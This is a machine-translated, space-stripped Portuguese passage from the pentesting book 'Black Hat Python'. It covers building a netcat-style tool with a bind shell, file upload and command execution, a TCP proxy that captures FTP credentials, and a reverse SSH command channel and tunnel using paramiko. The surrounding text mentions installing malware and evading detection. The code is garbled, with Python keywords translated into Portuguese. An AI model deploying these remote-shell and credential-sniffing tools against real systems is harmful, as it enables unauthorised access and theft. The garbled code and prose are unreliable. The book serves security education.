oseguintecdigoacimadanossaprincipal funo.
client_senderdef(buffer):
client=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
experimentar:
#Ligarparaonossohostdedestino
client.connect((destino,porta))

iflen(buffer):
client.send(buffer)
whileTrue:
#Agoraesperarpordadosdevolta
recv_len=1
resposta=""

enquantorecv_len:
dados
=Client.recv(4096)
recv_len=len(dedados)
resposta+=dados

serecv_len<4096:
pausa
respostadeimpresso,
#Esperapormaisentrada
tamporaw_input=("")
tampo+="\n"

#Envilo
client.send(buffer)
exceto:

print"[*]Exception!sair."
#Derrubaraconexo
client.close()

Amaiorpartedestecdigodeveserfamiliarparavocagora.ComeamosporconfiguraronossoobjetodesoqueteTCP
eemseguida,testeparaverserecebemosqualquerentradadestdin.Setudoestiverbem,nsenviamososdadosforade
oalvoremotoereceberdevoltaosdadosatquenohajamaisdadosparareceber.Ns,ento,esperarpor
aindamaisaentradadousurioecontinuaraenviarereceberdadosatqueousuriomataoscript.
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

15/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Aquebradelinhaextraanexadoespecificamenteparaanossaentradadousurioparaqueonossoclientesercompatvel
comonossoshelldecomando.Agoravamosseguiremfrenteecriaronossocicloservidorprincipaleumafunodestub
queirlidarcomtantoanossaexecuodocomandoenossoshelldecomandocompleto.
server_loopdef():
metaglobal
#Senenhumalvodefinida,nsescutaremtodasasinterfaces
senolen(target):
target="0.0.0.0"
server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((destino,porta))
server.listen(5)
whileTrue:
client_socket,addr=server.accept()
#Cisodeumathreadparalidarcomonossonovocliente
client_thread=threading.Thread(target=client_handler,
args=(client_socket,))
client_thread.start()

run_commanddef(comando):
#Apararanovalinha
command=command.rstrip()

#Executarocomandoeobterasadadevolta
experimentar:
output=subprocess.check_output(comando,stderr=subprocesso.
STDOUT,shell=True)
exceto:
output="Falhaaoexecutarocomando.\r\n"

#Enviarasadadevoltaparaocliente
sadaderetorno

Atagora,vocumveteranonacriaodeservidoresTCPcompletocomthreading,porissonovoumergulharao
server_loopfuno.Orun_commandfuno,noentanto,contmumanovabibliotecaquenotem
cobertaainda:osubprocesso.bibliotecasubprocessforneceumapoderosainterfacedecriaodeprocessos
quelhedumnmerodemaneirasdeiniciareinteragircomosprogramasclientes.Nestecaso,estamos
simplesmenteexecutandotudoocomandopassamosem,executlonosistemaoperacionallocal,eretornando
asadadocomandodevoltaparaoclientequeestligadoans.Ocdigodemanipulaodeexceo
vaipegarerrosgenricosevoltarumamensageminformandoqueocomandofalhou.
Agoravamosimplementaralgicaparafazerouploaddearquivos,execuodecomandos,eonossoescudo.
client_handlerdef(client_socket):
globaldeupload
globaldeexecuo
comandoglobal

#Verificarparaupload
iflen(upload_destination):
#Lidoemtodososbyteseescreverparaonossodestino
file_buffer=""

#Manteraleituradedadosatquenoestdisponvel
whileTrue:
data=client_socket.recv(1024)
Senodados:
pausa
outro:
file_buffer+=dados

#Agoratomamosessesbytesetentarescrevlos
experimentar:
file_descriptor=open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
#Reconhecerqueescreveuoarquivoparafora
client_socket.send("salvoscomsucessoarquivopara
%S\r\n"%upload_destination)
exceto:

client_socket.send("Falhaaosalvararquivopara%s\r\n"%
upload_destination)

#Chequeparaexecuodecomandos
iflen(executar):
#Executarocomando
output=run_command(executar)
client_socket.send(sada)

#Agoravamosparaoutrocicloseumshelldecomandofoisolicitada

seocomando:
whileTrue:
#Mostrarumalinhasimples
client_socket.send("<BHP:#>")
#Agoraquerecebemosatquevejamosumavanodelinha
(teclaEnter)
cmd_buffer=""
enquanto"\n"noemcmd_buffer:
cmd_buffer+=client_socket.recv(1024)

#Enviardevoltaasadadocomando
response=run_command(cmd_buffer)
#Enviardevoltaaresposta
client_socket.send(resposta)

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

16/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Nossoprimeiropedaodecdigoresponsvelpordeterminarseanossaferramentaderedeestdefinidoparareceberum
arquivoquandoelerecebeumaligao.Istopodesertilparauploadeexecutarexercciosoupara
instalarmalwareetendoomalwareremoveronossoretornoPython.Primeirovamosreceberosdadosdoarquivo
emumloopparasecertificardequensrecebemostudo,eentonssimplesmenteabrirumidentificadordearquivoegravaro
contedodoarquivo.AWBbandeiragarantequeestamosescrevendooarquivocomomodobinriohabilitado,que
garantequeouploadeescreverumbinrioexecutvelserbemsucedido.Prximoprocessamosnossa
executarfuncionalidade,oquechamaanossaescritoanteriormenterun_commandfunoesimplesmenteenvia
oresultadodevoltaemtodaarede.Nossoltimopedaodecdigomanipulaonossoshelldecomandoselacontinuaa
executarcomandoscomonsenvilasporeenviadevoltaasada.Vocvainotarqueeleestaprocurarum
caracteredenovalinhaparadeterminarquandoprocessarumcomando,oquetornanetcatfriendly.
Noentanto,sevocestconjurandoumclientePythonparafalarcomele,lembresedeadicionaranovalinha
personagem.

Chutarospneus
Agoravamosbrincarcomeleumpoucoparaveralgumasada.Emumterminaloucmd.exeshell,executaronosso
scriptassim:
justin$./bhnet.pylp9999c

Agoravocpodedispararatoutroterminaloucmd.exe,eexecutaronossoscriptemmodocliente.Lembresedisso
nossoscriptestalerdestdinevaifazloatqueomarcadorEOF(EOF)recebido.Enviar
EOF,bateuCTRLDnoseuteclado:
justin$./bhnet.pytlocalhostp9999
<CTRLD>

<BHP:#>lsla
Total32
drwxrxrx4justinequipe13618dedezembro19:45.
drwxrxrx4justinequipe13609dedezembro18:09..
rwxrwxrwt1justinequipe849819dedezembro06:38bhnet.py
rwrr1equipejustin84410dedezembro09:34listing13.py
<BHP:#>pwd
/Users/justin/svn/BHP/code/Chapter2
<BHP:#>

Vocpodeverquensrecebemosdevoltaonossoshelldecomandospersonalizada,eporqueestamosemumhostUnix,ns
podeexecutaralgunscomandoslocaisereceberdevoltaumpoucodesadacomosetivssemosconectadoviaSSHouestavam
nacaixalocalmente.Podemostambmusaronossoclienteparaenviarpedidosobomcaminho,modaantiga:
justin$echone"GET/HTTP/1.1\r\nHost:www.google.com\r\n\r\n"|./bhnet.
pytwww.google.comp80
HTTP/1.1302Encontrada
Localizao:http://www.google.ca/
CacheControl:privada
ContentType:text/htmlcharset=UTF8
P3P:CP="EstanoumapolticaP3PVejahttp://www.google.com/support/!
contas/bin/answer.py?hl=en&answer=151657paraobtermaisinformaes."
Data:Wed,19dez201213:22:55GMT
Servidor:gws
ContentLength:218
XXSSProtection:1mode=block
XFrameOptions:SAMEORIGIN
<HTML><HEAD><metahttpequiv="ContentType""text/htmlcharset=utf8"content=>
<TITLE>302Movido</TITLE></HEAD><BODY>
<H1>302Movido</H1>
Odocumentopassou
<AHREF="http://www.google.ca/">aqui</A>.
</BODY></HTML>
[*]Exception!Sair.
justin$

Aiest!Noumatcnicasupertcnico,masumaboabasesobrecomocortarjuntos
algumastomadasdeclienteeservidoremPythoneuslosparaomal.claro,osfundamentosque
vocmaisprecisa:usesuaimaginaoparaexpandiroumelhorar.Emseguida,vamosconstruirumproxyTCP,que
tilemqualquernmerodecenriosofensivas.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

17/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

ConstruindoumProxyTCP
HumasriederazesparaterumproxyTCPemseucintodeferramentas,tantoparaoencaminhamentodetrfegopara
saltardeumhospedeiroparaoutro,mastambmquandoseavaliasoftwarebaseadoemrede.aorealizar
testesdepenetraoemambientescorporativos,vocvaicomumenteserconfrontadocomofatodequevocnopodeexecutar
Wireshark,quevocnopodecarregarosdriversparacheiraraloopbacknoWindows,ouquearede
segmentaoimpedevocdeexecutarsuasferramentasdiretamentecontraoseuhostdedestino.Euterempregadoum
proxydePythonsimplesemumnmerodecasosparaajudaraentenderosprotocolosdesconhecidos,modificarsertrfego
enviadoparaumaaplicao,ecriarcasosdetesteparafuzzers.Vamoschegaraele.
sysimportao
tomadadeimportao
rosqueamentodeimportao
defserver_loop(local_host,local_port,remote_host,remote_port,receive_first):
server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
experimentar:
server.bind((local_host,local_port))
exceto:
print"[!!]Falhaaoescutarem%s:%d"%(local_host,local_
porta)
print"[!!]Verifiquesehoutrossoquetesdeescutaoucorreta
permisses".
sys.exit(0)

print"[*]Ouviron%s:%d"%(local_host,local_port)

server.listen(5)
whileTrue:
client_socket,addr=server.accept()
#Imprimirasinformaesdeconexolocal
print"[==>]recebidaconexodeentradade%s:%d"%
(Endereo[0],addr[1])
#Iniciarumadiscussoparaconversarcomohostremoto
proxy_thread=threading.Thread(target=proxy_handler,
args=(client_socket,remote_host,remote_port,receive_first))
proxy_thread.start()
defmain():
#Nodelinhadecomandofantasiaanalisaraqui
iflen(sys.argv[1:])!=5:
print"Uso:./proxy.py[localhost][localport][remotehost]
[RemotePort][receive_first]"
print"Exemplo:127.0.0.1./proxy.py900010.12.132.19000True"
sys.exit(0)
#parmetrosdeescutaconfiguraolocal
local_host=sys.argv[1]
local_port=int(sys.argv[2])
#Destinoremotodeconfigurao
remote_host=sys.argv[3]
remote_port=int(sys.argv[4])
#Istodizanossaproxyparaseconectarereceberdados
#Antesdeenviarparaohostremoto
receive_first=sys.argv[5]

Se"True"emreceive_first:
receive_first=True
outro:
receive_first=False

#Agoragirarnossasoquetedeescuta
server_loop(local_host,local_port,remote_host,remote_port,receive_first)
aPrincipal()

Amaiorpartedestedeveparecerfamiliar:quetomamosemalgunsargumentosdelinhadecomandoe,emseguida,dispararumservidor
loopqueatendeaconexes.Quandoumasolicitaodeconexofrescoentra,nsentregloaonosso
proxy_handler,quefaztudodeoenvioerecebimentodesuculentospedaosdeambososladosdeadados
corrente.
Vamosmergulharnoproxy_handlerfunoagoraadicionandooseguintecdigoacimadonossoprincipal
funo.
proxy_handlerdef(client_socket,remote_host,remote_port,receive_first):
#Conectaraohostremoto
remote_socket=socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
remote_socket.connect((remote_host,remote_port))

#Receberdadosapartirdaextremidaderemota,senecessrio
sereceive_first:
remote_buffer=receive_from(remote_socket)
hexdump(remote_buffer)
#Enviloparaonossomanipuladorderesposta
remote_buffer=response_handler(remote_buffer)
#Setemosdadosparaenviarparaonossoclientelocal,envilo
iflen(remote_buffer):
print"[<==]Enviando%dbytesparalocalhost".%
len(remote_buffer)
client_socket.send(remote_buffer)
#Agorapermitecicloelerapartirdelocal,
#Enviarparaoremoto,enviarparaolocal,
#Lavagem,lavagem,repita
whileTrue:

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

18/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
#Lerdehostlocal
local_buffer=receive_from(client_socket)

iflen(local_buffer):
print"[==>]recebida%dbytesdelocalhost".%Len(local_
amortecedor)
hexdump(local_buffer)
#Enviloparaonossomanipuladordesolicitao
local_buffer=request_handler(local_buffer)
#Enviarosdadosparaohostremoto
remote_socket.send(local_buffer)
imprimir"[==>]Enviadopararemoto."
#Receberdevoltaaresposta
remote_buffer=receive_from(remote_socket)
iflen(remote_buffer):

impresso"[<==]Recebido%dbytesdecontroleremoto."%Len(remote_buffer)
hexdump(remote_buffer)
#Enviarparaonossomanipuladorderesposta
remote_buffer=response_handler(remote_buffer)
#Enviararespostaparaosocketlocal
client_socket.send(remote_buffer)
print"[<==]Enviadoparalocalhost".

#Sehmaisdadosdeambososlados,fecharasconexes
Senolen(local_buffer)ounolen(remote_buffer):
client_socket.close()
remote_socket.close()
print"[*]Nohmaisdados.Fechandoconexes."
pausa

Estafunocontmamaiorpartedalgicaparaoproxy.Paracomear,vamosverificarparasecertificardequeno
precisaprimeiroiniciarumaconexocomosdadossecundriosepedidoremotoantesdeentraremnossoloopprincipal
.Algunsservidoresdaemonsvaiesperarvocparafazerestaprimeira(FTPservidorestipicamenteenviarumabandeiraemprimeirolugar,
porexemplo).Emseguida,usamosonossoreceive_fromfuno,quereutilizarparaambososladosda
comunicaoelesimplesmentelevaemumobjetodesocketconectadoeexecutaumrecebimento.Emseguida,despejar
ocontedodopacoteparaquepossamosinspecionloparaqualquercoisainteressante.Emseguidansentregarasada
paraanossaresponse_handlerfuno.Dentrodessafuno,vocpodemodificarocontedodopacote,
executartarefasdefuzzing,testeparaproblemasdeautenticao,ouqualqueroutracoisaqueseucoraodeseja.Existeum
cortesiarequest_handlerfunoquefazomesmoparamodificarotrfegodesadatambm.
Oltimopassoenviarobufferrecebidoparaonossoclientelocal.Orestodocdigodeproxy
simples:estamoscontinuamentelidodolocal,processo,enviarparaoremoto,lerapartirremoto,processo,
eenviarparaolocal,atquenohajamaisdadosdetectados.
Vamosjuntospelorestodenossasfunesparacompletaronossoproxy.
#Estaumafunohexdespejobastanteretiradosdirectamente
#OAQUIComentrios:
#http://code.activestate.com/recipes/142812hexdumper/
defhexdump(src,comprimento=16):
result=[]
dgitos=4seisinstance(src,unicode)else2
foriinxrange(0,len(src),comprimento):
s=src[i:i+length]
hexa=b''.join(["%0*X"%(dgitos,ORD(X))paraxems])
text=b''.join([x,se0x20<=ord(x)<0x7Foutrab'.'paraxnos])
result.append(b"%04X%*s%s"%(I,comprimento*(dgitos+1),hexa,
texto))
printb'\n'.join(resultado)

defreceive_from(conexo):
tampo=""
#Nsestabelecemosumsegundotempo2Dependendodasua
#Alvo,estepodenecessitardeserajustada
connection.settimeout(2)
experimentar:
#Manteraleituranobufferat
#Nohmaisdados
#Ouqueotempofora
whileTrue:

data=connection.recv(4096)
Senodados:
pausa
tampo+=dados
exceto:
passar

bufferderetorno
#Modificarquaisquerpedidosdestinadosaohostremoto
defrequest_handler(buffer):
#Realizarmodificaesdepacotes
bufferderetorno

#modificarquaisquerrespostasdestinadosparaolocaldeacolhimento
response_handlerdef(buffer):
#Realizarmodificaesdepacotes
bufferderetorno

Esteopedaofinaldocdigoparacompletaronossoproxy.Primeirocriamosanossafunodedumpinghex
queasadasersimplesmenteosdetalhesdepacotescomambososseusvaloreshexadecimaiseASCIIimprimveis
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

19/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

personagens.Issotilparaacompreensodeprotocolosdesconhecidos,encontrarascredenciaisdousurioemtextosimples
protocolos,emuitomais.Oreceive_fromfunousadotantoparareceberlocale
dadosremotos,enssimplesmentepassaroobjetodesoqueteparaserusado.Porpadro,noumdoissegunda
settimeout,oquepodeseragressivosevocestagindocomoproxyotrfegoparaoutrospasesouaolongolossy
redes(aumentarotempolimitesenecessrio).Orestodafunosimplesmentelidacomarecepodedados
atquemaisdadosdetectadonaoutraextremidadedaligao.Nossasduasltimasfunespermitirlhe
paramodificarqualquertrfegoquedestinadoparaumaououtraextremidadedoproxy.Istopodesertil,porexemplo,se
ascredenciaisdousurioemtextopuroestosendoenviadosevocquertentarelevarprivilgiossobreopedidode
passandoemadministrao,emvezdejustin.Agoraquetemosonossoproxydeconfigurar,vamoslevlaparaumarodada.

Chutarospneus
Agoraquetemosonossociclodeproxyncleoeasfunesdeapoionolugar,vamostestarissocontra
umservidorFTP.Fogoatoproxycomasseguintesopes:
justin$sudo./proxy.py127.0.0.121ftp.target.ca21Verdadeiro

Nsusamossudoaquiporqueaporta21umaportaprivilegiadaeexigeprivilgiosadministrativosouderaiz
afimdeouvirsobreele.AgorapegueoseuclienteFTPfavoritoeconfigurloparausarlocalhosteaporta21comoasua
hostremotoeporta.Claro,vocvaiquererapontaroseuproxyparaumservidorFTPquevairealmente
responderavoc.QuandoeucorriissoemumservidorFTPteste,eutenhooseguinteresultado:
[*]Escutaem127.0.0.1:21
[==>]Recebidaconexodeentradade127.0.0.1:59218
0000
32323020507254506F464420312E332E
0010
33612053657276657220284465626961
0020
6E29205B3A3A666666663A353035372E
0030
2E3136382E39335D0D0A
[<==]Enviando58bytesparalocalhost.
[==>]Recebeu12bytesdelocalhost.
0000
555345522074657374790D0A
[==>]Enviadopararemoto.
[<==]Recebeu33bytesapartirremoto.
0000
33333120506173737764206F72726571
0010
7569726564206620746F72657374790D
0020
0A
[<==]Enviadoparalocalhost.
[==>]Recebeu13bytesdelocalhost.
0000
50415353207465737465720D0A
[==>]Enviadopararemoto.
[*]Nohmaisdados.Fechandoconexes.

220ProFTPD1.3.
3aServer(Debia
n)[::ffff:22.22
.22.22]..

USURIOirritado..

331reqsenha
uiredparairritvel.
.

testerPASS..

VocpodeverclaramentequesomoscapazesderecebercomsucessoabandeiraFTPeenviarumnomedeusurio
esenha,equelimpasaiquandooservidornospontapsporcausadecredenciaisincorretas.

SSHcomparamiko
GirandocomBHNETmuitotil,massvezessbioparacriptografarotrfegoparaevitar
deteco.UmmeiocomumdefazerissotneldotrfegousandoSecureShell(SSH).Masoquese
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

20/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

seualvonotemumclienteSSH(como99,81943porcentodossistemasWindows)?
EmboraexistamgrandesclientesSSHdisponveisparaWindows,comomassadevidraceiro,esteumlivrosobrePython.Dentro
Python,vocpoderiausarsoquetesbrutoseumpoucodemagiadecriptografiaparacriarseuprprioclienteSSHouservidor
masporquecriaquandovocpodereutilizar?ParamikousandoPyCryptolhedacessosimplesparaoSSH2
protocolo.
Parasabermaissobrecomoestabibliotecafunciona,usaremosparamikoparafazerumaconexoeexecutarumcomando
emumsistemaSSH,configurarumservidorSSHeoclienteSSHparaexecutarcomandosremotosemumWindows
mquina,e,finalmente,decifraroficheirotneldemonstraoinversaincludoscomparamikoparaduplicara
opodeproxydeBHNET.Vamoscomear.
Primeiro,pegueparamikousandoinstaladorpip(oubaixlodohttp://www.paramiko.org/):
pipinstalarparamiko

Vamosusaralgunsdosarquivosdedemonstraomaistarde,entocertifiquesedebaixlosnositedaparamiko
tambm.

Criarumnovoarquivochamadobh_sshcmd.pyedigiteoseguinte:
rosqueamentodeimportao
paramikoimportao
subprocessimportao
defssh_command(ip,usurio,passwd,comando):
client=paramiko.SSHClient()
#client.load_host_keys('/home/justin/.ssh/known_hosts')

client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip,username=usurio,senha=passwd)
ssh_session=client.get_transport().open_session()
sessh_session.active:

ssh_session.exec_command(comando)
ssh_session.recvimpresso(1024)
Retorna

ssh_command('192.168.100.131','Justin','lovesthepython','id')

Esteumprogramabastantesimples.Nscriamosumafunochamadassh_command,oquetorna
umaconexocomumservidorSSHeexecutaumnicocomando.Observequeparamikosuportes
autenticaocomchavesemvezde(oualm)deautenticaoporsenha.UsandoachaveSSH
autenticaofortementerecomendadanumengatereal,masparafacilidadedeusonesteexemplo,
vamosficarcomotradicionalnomedeusurioesenhadeautenticao.
Porquensestamoscontrolandoambasasextremidadesdestaconexo,vamosdefinirapolticadeaceitarachaveSSHpara
oservidorSSHqueestseconectandoefazeraconexo.Finalmente,assumindoquealigaoest
feito,corremosocomandoquenspassamosaolongodachamadaparaossh_commandfunoemnosso

exemplo,ocomandoid.

Vamosexecutarumtesterpido,ligandoparaonossoservidorLinux:
C:\tmp>pythonbh_sshcmd.py
Uid=1000gid=1001grupos(Justin)(Justin)=1001(justin)

Vocverqueeleseconectae,emseguida,executaocomando.Vocpodefacilmentemodificarestescriptparaserexecutado

vrioscomandosemumservidorSSHoucomandossoexecutadosemvriosservidoresSSH.
Assim,comobsicofeito,vamosmodificarnossoscriptparaapoiaraexecuodecomandossobreonossoclienteWindows
sobreSSH.Claroque,normalmentequandousandoSSH,vocusarumclienteSSHparaseconectaraumservidorSSH,
masporqueoWindowsnoincluiumservidorSSHoutofthebox,precisamosinverterestaeenvi
comandosdonossoservidorSSHparaoclienteSSH.
Criarumnovoarquivochamadobh_sshRcmd.pyedigiteoseguinte:[6]
rosqueamentodeimportao
paramikoimportao
subprocessimportao
ssh_commanddef(ip,usurio,passwd,comando):
client=paramiko.SSHClient()
#client.load_host_keys('/home/justin/.ssh/known_hosts')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip,username=usurio,senha=passwd)
ssh_session=client.get_transport().open_session()
sessh_session.active:
ssh_session.send(comando)
ssh_session.recvimpresso(1024)#Lerbandeira
whileTrue:
command=ssh_session.recv(1024)#getocomandodoSSH
servidor
experimentar:
cmd_output=subprocess.check_output(comando,shell=True)
ssh_session.send(cmd_output)
salvoexceo,e:
ssh_session.send(str(e))
client.close()
Retorna
ssh_command('192.168.100.130','Justin','lovesthepython','ClientConnected')

AsprimeiraslinhassocomoonossoltimoprogramaeonovomaterialcomeanoenquantoTrue:loop.Tambm
notarqueoprimeirocomandoenviamosClientConnected.Vocverporquequandocriamosooutro
extremidadedaconexoSSH.
Agoracrieumnovoarquivochamadobh_sshserver.pyedigiteoseguinte:
tomadadeimportao
paramikoimportao
rosqueamentodeimportao
sysimportao
#Usandoachavedosarquivosdedemonstraoparamiko
host_key=paramiko.RSAKey(filename='test_rsa.key')
classeServidor(paramiko.ServerInterface):
_init_def(self):
self.eventthreading.Event=()
defcheck_channel_request(self,tipo,chanid):
se'sesso'tipo==:

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

21/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

voltarparamiko.OPEN_SUCCEEDED
voltarparamiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
check_auth_passworddef(self,nomedeusurio,senha):
if(nome=='Justin')e(password=='lovesthepython'):
voltarparamiko.AUTH_SUCCESSFUL
voltarparamiko.AUTH_FAILED
server=sys.argv[1]
ssh_port=int(sys.argv[2])
tentar:
meia=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
sock.bind((servidor,ssh_port))
sock.listen(100)
print'[+]escutaparaconexo...'
cliente,addr=sock.accept()
salvoexceo,e:
print'[]Ouafalhou:"+str(e)
sys.exit(1)
print'[+]Temumaligao!'

tentar:

bhSession=paramiko.Transport(cliente)
bhSession.add_server_key(host_key)
server=Server()
experimentar:
bhSession.start_server(server=servidor)
excetoparamiko.SSHException,x:
print'[]negociaoSSHfalhou.'
chan=bhSession.accept(20)

print'[+]autenticados!"
chan.recvimpresso(1024)
chan.send('Bemvindoaobh_ssh')

whileTrue:
experimentar:
command=raw_input("comandoEnter:").strip('\n')
Secommand="sada"!
chan.send(comando)
chan.recvimpresso(1024)+'\n'
outro:
chan.send("sada")
print'sair'
bhSession.close()
levantarException("sada")
excetoKeyboardInterrupt:
bhSession.close()
salvoexceo,e:
print'[]exceoPreso:"+str(e)
experimentar:
bhSession.close()
exceto:
passar
sys.exit(1)

EsteprogramacriaumservidorSSHqueonossoclienteSSH(ondesedesejaexecutarcomandos)conecta
para.EstepoderiaserumLinux,Windows,oumesmosistemaOSXquetemPythoneparamikoinstalado.
Paraesteexemplo,estamosusandoachaveSSHincludasnosarquivosdedemonstraoparamiko.Comeamosumsoquete
ouvinte,talcomofizemosnoinciodocaptulo,edepoisSSHinizequeeconfiguraro
mtodosdeautenticao.QuandoumclientefoiautenticadoeenviounosoClientConnected
Mensagem,qualquercomandoquedigitarnobh_sshserverenviadoparaobh_sshclienteexecutadoem
obh_sshclient,easadadevolvidoaobh_sshserver.Vamosdarumachance.

Chutarospneus
Paraodemo,euvoucorreroservidoreoclientenaminhamquinaWindows(vejaaFigura21).

Figura21.UsandoSSHparaexecutarcomandos

VocpodeverqueoprocessoiniciadoatravsdacriaodenossoservidorSSHe,emseguida,conectandoapartirdenossa
cliente.Oclienteestconectadocomsucessoeexecutarumcomando.Nsnovemosnadaem
oclienteSSH,masocomandoenviamosexecutadonoclienteeasadaenviadoparaonossoSSH

servidor.
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

22/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

TunnelingSSH
SSHtunnelingincrvel,maspodeserconfusoparaentendereconfigurar,especialmentequandosetrata
comumtnelSSHinversa.
LembresequeonossoobjectivoemtudoissoparaexecutarcomandosquedigitarumclienteSSHemumSSHremoto
servidor.QuandoseutilizaumtnelSSH,emvezdeserdigitadoscomandosenviadosparaoservidor,otrfegoderede
enviadoempacotadodentrodeSSHedepoisembaladoeentreguepeloservidorSSH.
Imaginequevocestnaseguintesituao:VoctemacessoremotoaumservidorSSHemum
redeinterna,masvocqueroacessoaoservidorwebnamesmarede.Vocnopodeacessaro
servidorwebdiretamente,masoservidorcomSSHinstaladotemacessoeoservidorSSHno
temasferramentasquedesejausarinstaladonele.
UmamaneiradesuperaresseproblemaacriaodeumtnelSSHparaafrente.Sementraremmuitos
detalhe,executandoocomandosshL8008:web:80justin@sshserverirseconectaraossh
servidorcomoousuriojustineconfigurarporta8008emseusistemalocal.Qualquercoisaenviadaparaaporta8008vontade
serenviadospelotnelSSHexistenteparaoservidorSSHeentregueaoservidorweb.Figura22
mostraissoemao.

Figura22.SSHtunnelingparaafrente

Issomuitolegal,maslembrarquenohmuitossistemasWindowsestexecutandoumserviodeservidorSSH.No
tudoestperdido,noentanto.PodemosconfigurarumaconexoSSHtunnelinginverso.Nestecaso,nsconectarse
nossoprprioservidorSSHdoclienteWindowsnaformausual.AtravsdessaconexoSSH,ns
tambmespecificarumaportaremotonoservidorSSHqueserescavadoumtnelparaohosteportalocal(como
mostradonaFigura23).Estamquinaeportalocalpodeserutilizado,porexemplo,paraexporaporta3389
acessarumsistemainternousandodesktopremoto,ouparaoutrosistemaqueoclienteWindowspode
acesso(comooservidorwebnonossoexemplo).

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

23/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Figura23.SSHtunnelinginverso

Osarquivosdedemonstraoparamikoincluirumarquivochamadorforward.pyquefazexatamenteisso.Elefuncionaperfeitamentecomo
porissonosvaireimprimiressearquivo,maseugostariadesalientaralgunspontosimportanteseexecutaratravsdeuma
exemplodecomouslo.Abrirrforward.py,pularparamain(),eseguiradiante.

defmain():
Opes,servidor,=remotosparse_options()
password=None
seoptions.readpass:
password=getpass.getpass('DigiteasenhaSSH:')
client=paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy())
detalhado('Ligarparasshhost%s:%d...'%(servidor[0],oservidor[1]))
experimentar:
client.connect(servidor[0],oservidor[1],username=options.user,
key_filename=options.keyfile,
look_for_keys=options.look_for_keys,password=password)
excetoExceocomoe:
print('***Falhaaoligara%s:%d:%r'%(servidor[0],oservidor[1],e))
sys.exit(1)

detalhado("Agoraoencaminhamentodeportaremoto%dpara%s:%d...'%(options.port,
remoto[0],remoto[1]))

experimentar:
reverse_forward_tunnel(options.port,remoto[0],remoto[1],
client.get_transport())
excetoKeyboardInterrupt:
print('Cc:PortForwardingparado.')
sys.exit(0)

Aspoucaslinhasnotoposegundaverificaoparacertificarsedetodososargumentosnecessriossopassados
parao

roteiroantesdeconfiguraraconexodoclienteParmakioSSH(quedeveolharmuitofamiliar).
Aseofinalnomain()chamaoreverse_forward_tunnelfuno.
Vamosterumolharparaessafuno.
defreverse_forward_tunnel(server_port,remote_host,remote_port,transporte):
transport.request_port_forward('',server_port)
whileTrue:

Chan=transport.accept(1000)
SechanNone:

continuar

thr=threading.Thread(target=manipulador,args=(chan,remote_host,.
remote_port))
thr.setDaemon(True)
thr.start()

Emparamiko,existemdoismtodosdecomunicaoprincipais:transporte,queresponsvelpela
fazeremanteraconexocriptografadaecanal,queatuacomoummeiaparaoenvio
ereceberdadossobreasessodetransportecriptografado.Aquicomeamosausarparamikode
request_port_forwardparatransmitirTCPconexesdeumaportasobreoSSHservidoreiniciarseum
novocanaldetransporte.Ento,aolongodocanal,chamamosomanipuladorfuno.
Masnsaindanoterminamos.
manipuladordef(chan,host,porta):
meia=socket.socket()
experimentar:
sock.connect((host,porta))
excetoExceocomoe:
detalhado("Encaminhamentosolicitaopara%s:%dfalhou:%r'%(host,aportae))
Retorna

'!ConectadoTunnelaberta%r>%r>%r'verbose(%(chan.origin_addr,.
chan.getpeername(),.
(Host,port)))
whileTrue:
R,W,X=select.select([pega,Chan],[],[])
semeianar:
data=sock.recv(1024)
